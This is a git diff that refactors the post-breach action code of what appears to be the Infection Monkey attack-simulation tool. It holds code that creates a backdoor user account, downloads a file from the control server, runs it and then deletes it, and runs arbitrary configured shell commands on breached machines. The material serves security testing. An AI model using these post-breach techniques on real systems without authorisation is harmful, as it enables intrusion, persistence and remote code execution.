diff --git a/monkey/infection_monkey/config.py b/monkey/infection_monkey/config.py
index 503284ca2..97b66690e 100644
--- a/monkey/infection_monkey/config.py
+++ b/monkey/infection_monkey/config.py
@@ -20,7 +20,6 @@ class Configuration(object):
# now we won't work at <2.7 for sure
network_import = importlib.import_module('infection_monkey.network')
exploit_import = importlib.import_module('infection_monkey.exploit')
- post_breach_import = importlib.import_module('infection_monkey.post_breach')
unknown_items = []
for key, value in formatted_data.items():
@@ -37,9 +36,6 @@ class Configuration(object):
elif key == 'exploiter_classes':
class_objects = [getattr(exploit_import, val) for val in value]
setattr(self, key, class_objects)
- elif key == 'post_breach_actions':
- class_objects = [getattr(post_breach_import, val) for val in value]
- setattr(self, key, class_objects)
else:
if hasattr(self, key):
setattr(self, key, value)
diff --git a/monkey/infection_monkey/control.py b/monkey/infection_monkey/control.py
index df6b21228..3fae277e8 100644
--- a/monkey/infection_monkey/control.py
+++ b/monkey/infection_monkey/control.py
@@ -20,6 +20,8 @@ requests.packages.urllib3.disable_warnings()
LOG = logging.getLogger(__name__)
DOWNLOAD_CHUNK = 1024
+PBA_FILE_DOWNLOAD = "https://%s/api/pba/download/%s"
+
# random number greater than 5,
# to prevent the monkey from just waiting forever to try and connect to an island before going elsewhere.
TIMEOUT_IN_SECONDS = 15
@@ -307,3 +309,13 @@ class ControlClient(object):
target_addr, target_port = None, None
return tunnel.MonkeyTunnel(proxy_class, target_addr=target_addr, target_port=target_port)
+
+ @staticmethod
+ def get_pba_file(filename):
+ try:
+ return requests.get(PBA_FILE_DOWNLOAD %
+ (WormConfiguration.current_server, filename),
+ verify=False,
+ proxies=ControlClient.proxies)
+ except requests.exceptions.RequestException:
+ return False
diff --git a/monkey/infection_monkey/monkey.py b/monkey/infection_monkey/monkey.py
index 6589e8718..ff35be3d9 100644
--- a/monkey/infection_monkey/monkey.py
+++ b/monkey/infection_monkey/monkey.py
@@ -121,10 +121,7 @@ class InfectionMonkey(object):
system_info = system_info_collector.get_info()
ControlClient.send_telemetry("system_info_collection", system_info)
- for action_class in WormConfiguration.post_breach_actions:
- action = action_class()
- action.act()
-
+ # Executes post breach actions
PostBreach().execute()
if 0 == WormConfiguration.depth:
diff --git a/monkey/infection_monkey/monkey.spec b/monkey/infection_monkey/monkey.spec
index a7f0f0396..d29adddb1 100644
--- a/monkey/infection_monkey/monkey.spec
+++ b/monkey/infection_monkey/monkey.spec
@@ -15,7 +15,7 @@ def main():
a = Analysis(['main.py'],
pathex=['..'],
hiddenimports=get_hidden_imports(),
- hookspath=None,
+ hookspath=['./pyinstaller_hooks'],
runtime_hooks=None,
binaries=None,
datas=None,
diff --git a/monkey/infection_monkey/post_breach/__init__.py b/monkey/infection_monkey/post_breach/__init__.py
index 2bd5547b4..3a692dc66 100644
--- a/monkey/infection_monkey/post_breach/__init__.py
+++ b/monkey/infection_monkey/post_breach/__init__.py
@@ -1,4 +1 @@
__author__ = 'danielg'
-
-
-from add_user import BackdoorUser
diff --git a/monkey/infection_monkey/post_breach/actions/__init__.py b/monkey/infection_monkey/post_breach/actions/__init__.py
new file mode 100644
index 000000000..17007f1e6
--- /dev/null
+++ b/monkey/infection_monkey/post_breach/actions/__init__.py
@@ -0,0 +1,11 @@
+from os.path import dirname, basename, isfile, join
+import glob
+
+
+def get_pba_files():
+ """
+ Gets all files under current directory(/actions)
+ :return: list of all files without .py ending
+ """
+ files = glob.glob(join(dirname(__file__), "*.py"))
+ return [basename(f)[:-3] for f in files if isfile(f) and not f.endswith('__init__.py')]
diff --git a/monkey/infection_monkey/post_breach/actions/add_user.py b/monkey/infection_monkey/post_breach/actions/add_user.py
new file mode 100644
index 000000000..650f37b2f
--- /dev/null
+++ b/monkey/infection_monkey/post_breach/actions/add_user.py
@@ -0,0 +1,19 @@
+import datetime
+from infection_monkey.post_breach.pba import PBA
+from infection_monkey.config import WormConfiguration
+
+
+__author__ = 'danielg'
+
+LINUX_COMMANDS = ['useradd', '-M', '--expiredate',
+ datetime.datetime.today().strftime('%Y-%m-%d'), '--inactive', '0', '-c', 'MONKEY_USER',
+ WormConfiguration.user_to_add]
+
+WINDOWS_COMMANDS = ['net', 'user', WormConfiguration.user_to_add,
+ WormConfiguration.remote_user_pass,
+ '/add', '/ACTIVE:NO']
+
+
+class BackdoorUser(PBA):
+ def __init__(self):
+ super(BackdoorUser, self).__init__("Backdoor user", linux_cmd=LINUX_COMMANDS, windows_cmd=WINDOWS_COMMANDS)
diff --git a/monkey/infection_monkey/post_breach/actions/users_custom_pba.py b/monkey/infection_monkey/post_breach/actions/users_custom_pba.py
new file mode 100644
index 000000000..61ec6f5d7
--- /dev/null
+++ b/monkey/infection_monkey/post_breach/actions/users_custom_pba.py
@@ -0,0 +1,91 @@
+import os
+import logging
+
+from infection_monkey.utils import is_windows_os
+from infection_monkey.post_breach.pba import PBA
+from infection_monkey.control import ControlClient
+from infection_monkey.config import WormConfiguration
+from infection_monkey.utils import get_monkey_dir_path
+
+LOG = logging.getLogger(__name__)
+
+__author__ = 'VakarisZ'
+
+# Default commands for executing PBA file and then removing it
+DEFAULT_LINUX_COMMAND = "chmod +x {0} ; {0} ; rm {0}"
+DEFAULT_WINDOWS_COMMAND = "{0} & del {0}"
+
+DIR_CHANGE_WINDOWS = 'cd %s & '
+DIR_CHANGE_LINUX = 'cd %s ; '
+
+
+class UsersPBA(PBA):
+ """
+ Defines user's configured post breach action.
+ """
+ def __init__(self):
+ super(UsersPBA, self).__init__("File execution")
+ self.filename = ''
+ if not is_windows_os():
+ # Add linux commands to PBA's
+ if WormConfiguration.PBA_linux_filename:
+ if WormConfiguration.custom_PBA_linux_cmd:
+ # Add change dir command, because user will try to access his file
+ self.command = (DIR_CHANGE_LINUX % get_monkey_dir_path()) + WormConfiguration.custom_PBA_linux_cmd
+ self.filename = WormConfiguration.PBA_linux_filename
+ else:
+ file_path = os.path.join(get_monkey_dir_path(), WormConfiguration.PBA_linux_filename)
+ self.command = DEFAULT_LINUX_COMMAND.format(file_path)
+ self.filename = WormConfiguration.PBA_linux_filename
+ elif WormConfiguration.custom_PBA_linux_cmd:
+ self.command = WormConfiguration.custom_PBA_linux_cmd
+ else:
+ # Add windows commands to PBA's
+ if WormConfiguration.PBA_windows_filename:
+ if WormConfiguration.custom_PBA_windows_cmd:
+ # Add change dir command, because user will try to access his file
+ self.command = (DIR_CHANGE_WINDOWS % get_monkey_dir_path()) + WormConfiguration.custom_PBA_windows_cmd
+ self.filename = WormConfiguration.PBA_windows_filename
+ else:
+ file_path = os.path.join(get_monkey_dir_path(), WormConfiguration.PBA_windows_filename)
+ self.command = DEFAULT_WINDOWS_COMMAND.format(file_path)
+ self.filename = WormConfiguration.PBA_windows_filename
+ elif WormConfiguration.custom_PBA_windows_cmd:
+ self.command = WormConfiguration.custom_PBA_windows_cmd
+
+ def _execute_default(self):
+ if self.filename:
+ UsersPBA.download_pba_file(get_monkey_dir_path(), self.filename)
+ return super(UsersPBA, self)._execute_default()
+
+ @staticmethod
+ def should_run(class_name):
+ if not is_windows_os():
+ if WormConfiguration.PBA_linux_filename or WormConfiguration.custom_PBA_linux_cmd:
+ return True
+ else:
+ if WormConfiguration.PBA_windows_filename or WormConfiguration.custom_PBA_windows_cmd:
+ return True
+ return False
+
+ @staticmethod
+ def download_pba_file(dst_dir, filename):
+ """
+ Handles post breach action file download
+ :param dst_dir: Destination directory
+ :param filename: Filename
+ :return: True if successful, false otherwise
+ """
+
+ pba_file_contents = ControlClient.get_pba_file(filename)
+
+ if not pba_file_contents or not pba_file_contents.content:
+ LOG.error("Island didn't respond with post breach file.")
+ return False
+ try:
+ with open(os.path.join(dst_dir, filename), 'wb') as written_PBA_file:
+ written_PBA_file.write(pba_file_contents.content)
+ return True
+ except IOError as e:
+ LOG.error("Can not upload post breach file to target machine: %s" % e)
+ return False
diff --git a/monkey/infection_monkey/post_breach/add_user.py b/monkey/infection_monkey/post_breach/add_user.py
deleted file mode 100644
index 94aa210e4..000000000
--- a/monkey/infection_monkey/post_breach/add_user.py
+++ /dev/null
@@ -1,52 +0,0 @@
-import datetime
-import logging
-import subprocess
-import sys
-from infection_monkey.config import WormConfiguration
-
-LOG = logging.getLogger(__name__)
-
-# Linux doesn't have WindowsError
-try:
- WindowsError
-except NameError:
- WindowsError = None
-
-__author__ = 'danielg'
-
-
-class BackdoorUser(object):
- """
- This module adds a disabled user to the system.
- This tests part of the ATT&CK matrix
- """
-
- def act(self):
- LOG.info("Adding a user")
- try:
- if sys.platform.startswith("win"):
- retval = self.add_user_windows()
- else:
- retval = self.add_user_linux()
- if retval != 0:
- LOG.warn("Failed to add a user")
- else:
- LOG.info("Done adding user")
- except OSError:
- LOG.exception("Exception while adding a user")
-
- @staticmethod
- def add_user_linux():
- cmd_line = ['useradd', '-M', '--expiredate',
- datetime.datetime.today().strftime('%Y-%m-%d'), '--inactive', '0', '-c', 'MONKEY_USER',
- WormConfiguration.user_to_add]
- retval = subprocess.call(cmd_line)
- return retval
-
- @staticmethod
- def add_user_windows():
- cmd_line = ['net', 'user', WormConfiguration.user_to_add,
- WormConfiguration.remote_user_pass,
- '/add', '/ACTIVE:NO']
- retval = subprocess.call(cmd_line)
- return retval
diff --git a/monkey/infection_monkey/post_breach/file_execution.py b/monkey/infection_monkey/post_breach/file_execution.py
deleted file mode 100644
index 5f52a29a6..000000000
--- a/monkey/infection_monkey/post_breach/file_execution.py
+++ /dev/null
@@ -1,68 +0,0 @@
-from infection_monkey.post_breach.pba import PBA
-from infection_monkey.control import ControlClient
-from infection_monkey.config import WormConfiguration
-from infection_monkey.utils import get_monkey_dir_path
-import requests
-import os
-import logging
-
-LOG = logging.getLogger(__name__)
-
-__author__ = 'VakarisZ'
-
-# Default commands for executing PBA file and then removing it
-DEFAULT_LINUX_COMMAND = "chmod +x {0} ; {0} ; rm {0}"
-DEFAULT_WINDOWS_COMMAND = "{0} & del {0}"
-
-
-class FileExecution(PBA):
- """
- Defines user's file execution post breach action.
- """
- def __init__(self, linux_command="", windows_command=""):
- self.linux_filename = WormConfiguration.PBA_linux_filename
- self.windows_filename = WormConfiguration.PBA_windows_filename
- super(FileExecution, self).__init__("File execution", linux_command, windows_command)
-
- def _execute_linux(self):
- FileExecution.download_PBA_file(get_monkey_dir_path(), self.linux_filename)
- return super(FileExecution, self)._execute_linux()
-
- def _execute_win(self):
- FileExecution.download_PBA_file(get_monkey_dir_path(), self.windows_filename)
- return super(FileExecution, self)._execute_win()
-
- def add_default_command(self, is_linux):
- """
- Replaces current (likely empty) command with default file execution command (that changes permissions, executes
- and finally deletes post breach file).
- Default commands are defined as globals in this module.
- :param is_linux: Boolean that indicates for which OS the command is being set.
- """
- if is_linux:
- file_path = os.path.join(get_monkey_dir_path(), self.linux_filename)
- self.linux_command = DEFAULT_LINUX_COMMAND.format(file_path)
- else:
- file_path = os.path.join(get_monkey_dir_path(), self.windows_filename)
- self.windows_command = DEFAULT_WINDOWS_COMMAND.format(file_path)
-
- @staticmethod
- def download_PBA_file(dst_dir, filename):
- """
- Handles post breach action file download
- :param dst_dir: Destination directory
- :param filename: Filename
- :return: True if successful, false otherwise
- """
-
- PBA_file_contents = requests.get("https://%s/api/pba/download/%s" %
- (WormConfiguration.current_server, filename),
- verify=False,
- proxies=ControlClient.proxies)
- try:
- with open(os.path.join(dst_dir, filename), 'wb') as written_PBA_file:
- written_PBA_file.write(PBA_file_contents.content)
- return True
- except IOError as e:
- LOG.error("Can not download post breach file to target machine, because %s" % e)
- return False
diff --git a/monkey/infection_monkey/post_breach/pba.py b/monkey/infection_monkey/post_breach/pba.py
index 09fe613b3..8be04a468 100644
--- a/monkey/infection_monkey/post_breach/pba.py
+++ b/monkey/infection_monkey/post_breach/pba.py
@@ -1,7 +1,9 @@
import logging
-from infection_monkey.control import ControlClient
import subprocess
-import socket
+from infection_monkey.control import ControlClient
+from infection_monkey.utils import is_windows_os
+from infection_monkey.config import WormConfiguration
+
LOG = logging.getLogger(__name__)
@@ -12,57 +14,57 @@ class PBA(object):
"""
Post breach action object. Can be extended to support more than command execution on target machine.
"""
- def __init__(self, name="unknown", linux_command="", windows_command=""):
+ def __init__(self, name="unknown", linux_cmd="", windows_cmd=""):
"""
:param name: Name of post breach action.
- :param linux_command: Command that will be executed on linux machine
- :param windows_command: Command that will be executed on windows machine
+ :param command: Command that will be executed on breached machine
"""
- self.linux_command = linux_command
- self.windows_command = windows_command
+ self.command = PBA.choose_command(linux_cmd, windows_cmd)
self.name = name
- def run(self, is_linux):
+ def get_pba(self):
"""
- Runs post breach action command
- :param is_linux: boolean that indicates on which os monkey is running
+ This method returns a PBA object based on a worm's configuration.
+ Return None or False if you don't want the pba to be executed.
+ :return: A pba object.
"""
- if is_linux:
- command = self.linux_command
- exec_funct = self._execute_linux
- else:
- command = self.windows_command
- exec_funct = self._execute_win
- if command:
- hostname = socket.gethostname()
- ControlClient.send_telemetry('post_breach', {'command': command,
- 'result': exec_funct(),
- 'name': self.name,
- 'hostname': hostname,
- 'ip': socket.gethostbyname(hostname)
- })
-
- def _execute_linux(self):
- """
- Default linux PBA execution function. Override it if additional functionality is needed
- """
- return self._execute_default(self.linux_command)
-
- def _execute_win(self):
- """
- Default linux PBA execution function. Override it if additional functionality is needed
- """
- return self._execute_default(self.windows_command)
+ return self
@staticmethod
- def _execute_default(command):
+ def should_run(class_name):
+ """
+ Decides if post breach action is enabled in config
+ :return: True if it needs to be ran, false otherwise
+ """
+ return class_name in WormConfiguration.post_breach_actions
+
+ def run(self):
+ """
+ Runs post breach action command
+ """
+ exec_funct = self._execute_default
+ result = exec_funct()
+ ControlClient.send_telemetry('post_breach', {'command': self.command,
+ 'result': result,
+ 'name': self.name})
+
+ def _execute_default(self):
"""
Default post breach command execution routine
- :param command: What command to execute
:return: Tuple of command's output string and boolean, indicating if it succeeded
"""
try:
- return subprocess.check_output(command, stderr=subprocess.STDOUT, shell=True), True
+ return subprocess.check_output(self.command, stderr=subprocess.STDOUT, shell=True), True
except subprocess.CalledProcessError as e:
# Return error output of the command
return e.output, False
+
+ @staticmethod
+ def choose_command(linux_cmd, windows_cmd):
+ """
+ Helper method that chooses between linux and windows commands.
+ :param linux_cmd:
+ :param windows_cmd:
+ :return: Command for current os
+ """
+ return windows_cmd if is_windows_os() else linux_cmd
diff --git a/monkey/infection_monkey/post_breach/post_breach_handler.py b/monkey/infection_monkey/post_breach/post_breach_handler.py
index ff24ebbbb..8522f412f 100644
--- a/monkey/infection_monkey/post_breach/post_breach_handler.py
+++ b/monkey/infection_monkey/post_breach/post_breach_handler.py
@@ -1,16 +1,15 @@
import logging
-import infection_monkey.config
-from file_execution import FileExecution
-from pba import PBA
+import inspect
+import importlib
+from infection_monkey.post_breach.pba import PBA
+from infection_monkey.post_breach.actions import get_pba_files
from infection_monkey.utils import is_windows_os
-from infection_monkey.utils import get_monkey_dir_path
LOG = logging.getLogger(__name__)
__author__ = 'VakarisZ'
-DIR_CHANGE_WINDOWS = 'cd %s & '
-DIR_CHANGE_LINUX = 'cd %s ; '
+PATH_TO_ACTIONS = "infection_monkey.post_breach.actions."
class PostBreach(object):
@@ -19,65 +18,34 @@ class PostBreach(object):
"""
def __init__(self):
self.os_is_linux = not is_windows_os()
- self.pba_list = self.config_to_pba_list(infection_monkey.config.WormConfiguration)
+ self.pba_list = self.config_to_pba_list()
def execute(self):
"""
Executes all post breach actions.
"""
for pba in self.pba_list:
- pba.run(self.os_is_linux)
+ pba.run()
LOG.info("Post breach actions executed")
@staticmethod
- def config_to_pba_list(config):
+ def config_to_pba_list():
"""
- Returns a list of PBA objects generated from config.
- :param config: Monkey configuration
+ Passes config to each post breach action class and aggregates results into a list.
:return: A list of PBA objects.
"""
pba_list = []
- pba_list.extend(PostBreach.get_custom_PBA(config))
-
+ pba_files = get_pba_files()
+ # Go through all of files in ./actions
+ for pba_file in pba_files:
+ # Import module from that file
+ module = importlib.import_module(PATH_TO_ACTIONS + pba_file)
+ # Get all classes in a module
+ pba_classes = [m[1] for m in inspect.getmembers(module, inspect.isclass)
+ if ((m[1].__module__ == module.__name__) and issubclass(m[1], PBA))]
+ # Get post breach action object from class
+ for pba_class in pba_classes:
+ if pba_class.should_run(pba_class.__name__):
+ pba = pba_class()
+ pba_list.append(pba)
return pba_list
-
- @staticmethod
- def get_custom_PBA(config):
- """
- Creates post breach actions depending on users input into 'custom post breach' config section
- :param config: monkey's configuration
- :return: List of PBA objects ([user's file execution PBA, user's command execution PBA])
- """
- custom_list = []
- file_pba = FileExecution()
- command_pba = PBA(name="Custom")
-
- if not is_windows_os():
- # Add linux commands to PBA's
- if config.PBA_linux_filename:
- if config.custom_PBA_linux_cmd:
- # Add change dir command, because user will try to access his file
- file_pba.linux_command = (DIR_CHANGE_LINUX % get_monkey_dir_path()) + config.custom_PBA_linux_cmd
- else:
- file_pba.add_default_command(is_linux=True)
- elif config.custom_PBA_linux_cmd:
- command_pba.linux_command = config.custom_PBA_linux_cmd
- else:
- # Add windows commands to PBA's
- if config.PBA_windows_filename:
- if config.custom_PBA_windows_cmd:
- # Add change dir command, because user will try to access his file
- file_pba.windows_command = (DIR_CHANGE_WINDOWS % get_monkey_dir_path()) + \
- config.custom_PBA_windows_cmd
- else:
- file_pba.add_default_command(is_linux=False)
- elif config.custom_PBA_windows_cmd:
- command_pba.windows_command = config.custom_PBA_windows_cmd
-
- # Add PBA's to list
- if file_pba.linux_command or file_pba.windows_command:
- custom_list.append(file_pba)
- if command_pba.windows_command or command_pba.linux_command:
- custom_list.append(command_pba)
-
- return custom_list
diff --git a/monkey/infection_monkey/pyinstaller_hooks/hook-infection_monkey.post_breach.actions.py b/monkey/infection_monkey/pyinstaller_hooks/hook-infection_monkey.post_breach.actions.py
new file mode 100644
index 000000000..51a0fca4a
--- /dev/null
+++ b/monkey/infection_monkey/pyinstaller_hooks/hook-infection_monkey.post_breach.actions.py
@@ -0,0 +1,6 @@
+from PyInstaller.utils.hooks import collect_submodules, collect_data_files
+
+# Import all actions as modules
+hiddenimports = collect_submodules('infection_monkey.post_breach.actions')
+# Add action files that we enumerate
+datas = (collect_data_files('infection_monkey.post_breach.actions', include_py_files=True))
diff --git a/monkey/monkey_island/cc/ui/src/components/pages/ConfigurePage.js b/monkey/monkey_island/cc/ui/src/components/pages/ConfigurePage.js
index de29da4e6..75d2b1c93 100644
--- a/monkey/monkey_island/cc/ui/src/components/pages/ConfigurePage.js
+++ b/monkey/monkey_island/cc/ui/src/components/pages/ConfigurePage.js
@@ -21,7 +21,7 @@ class ConfigurePageComponent extends AuthComponent {
this.initialConfig = {};
this.initialAttackConfig = {};
this.sectionsOrder = ['attack', 'basic', 'basic_network', 'monkey', 'cnc', 'network', 'exploits', 'internal'];
- this.uiSchemas = ConfigurePageComponent.getUiSchemas();
+ this.uiSchemas = this.getUiSchemas();
// set schema from server
this.state = {
schema: {},
@@ -37,7 +37,7 @@ class ConfigurePageComponent extends AuthComponent {
};
}
- static getUiSchemas(){
+ getUiSchemas(){
return ({
basic: {"ui:order": ["general", "credentials"]},
basic_network: {},
diff --git a/monkey/monkey_island/cc/ui/src/components/report-components/PostBreach.js b/monkey/monkey_island/cc/ui/src/components/report-components/PostBreach.js
index 763b35de8..aacdc8845 100644
--- a/monkey/monkey_island/cc/ui/src/components/report-components/PostBreach.js
+++ b/monkey/monkey_island/cc/ui/src/components/report-components/PostBreach.js
@@ -2,7 +2,7 @@ import React from 'react';
import ReactTable from 'react-table'
let renderArray = function(val) {
- return {val.map(x => {x})};
+ return {val.map(x => {x})};
};
let renderIpAddresses = function (val) {
@@ -36,7 +36,7 @@ let renderDetails = function (data) {
columns={subColumns}
defaultPageSize={defaultPageSize}
showPagination={showPagination}
- style={{"background-color": "#ededed"}}
+ style={{"backgroundColor": "#ededed"}}
/>
};